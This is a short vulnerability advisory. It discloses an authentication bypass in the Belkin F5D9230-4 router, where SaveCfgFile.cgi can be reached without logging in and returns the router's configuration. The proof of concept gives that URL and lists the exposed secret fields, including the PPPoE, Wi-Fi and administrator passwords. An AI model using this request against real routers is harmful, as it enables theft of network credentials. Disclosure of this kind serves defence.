##
## VULNERABILITY:
##
##  Belkin Wireless G Plus MIMO Router F5D9230-4
##  Authentication Bypass Vulnerability
##
##
## AUTHOR:
##
##  DarkFig < gmdarkfig (at) gmail (dot) com >
## http://acid-root.new.fr/?0:17
## #acidroot@irc.wordlnet.com
##
##
## INTRODUCTION:
##
##  I recently bought this router for my local
##  network (without modem integrated), now I can tell
##  that it was a bad choice. When my ISP disconnects
##  me from internet, in the most case I have to reboot
##  my Modem and the Router in order to reconnect.
##  So I coded a program (which send http packets) to reboot
##  my router, it asks me the router password, and reboots it.
##  One day I wrote a bad password, but it worked. So I
##  decided to make some tests in order to see if there was
##  a vulnerability.
##
##
## DESCRIPTION:
##
##  Apparently when we the router starts, it create a file
##  (without content) named user.conf, then when we go to
##  SaveCfgFile.cgi, the configuration is save to the file
##  user.conf. But the problem is that we can access
##  (and also change) to the file SaveCfgFile.cgi without
##  login.
##
##
## PROOF OF CONCEPT:
##
##  For example we can get the configuration file here:
## http:///SaveCfgFile.cgi
##
##  pppoe_username=...
##  pppoe_password=...
##  wl0_pskkey=...
##  wl0_key1=...
##  mradius_password=...
##  mradius_secret=...
##  httpd_password=...
##  http_passwd=...
##  pppoe_passwd=...
##
##
##  Tested on the latest firmware for this product
##  (version 3.01.53).
##
##
## PATCH
##
##  Actually there is no firmware update, but I contacted the
##  author, if they'll release a patch, it will be available here:
## http://web.belkin.com/support/download/download.asp
##  ?download=F5D9230-4&lang=1&mode=
##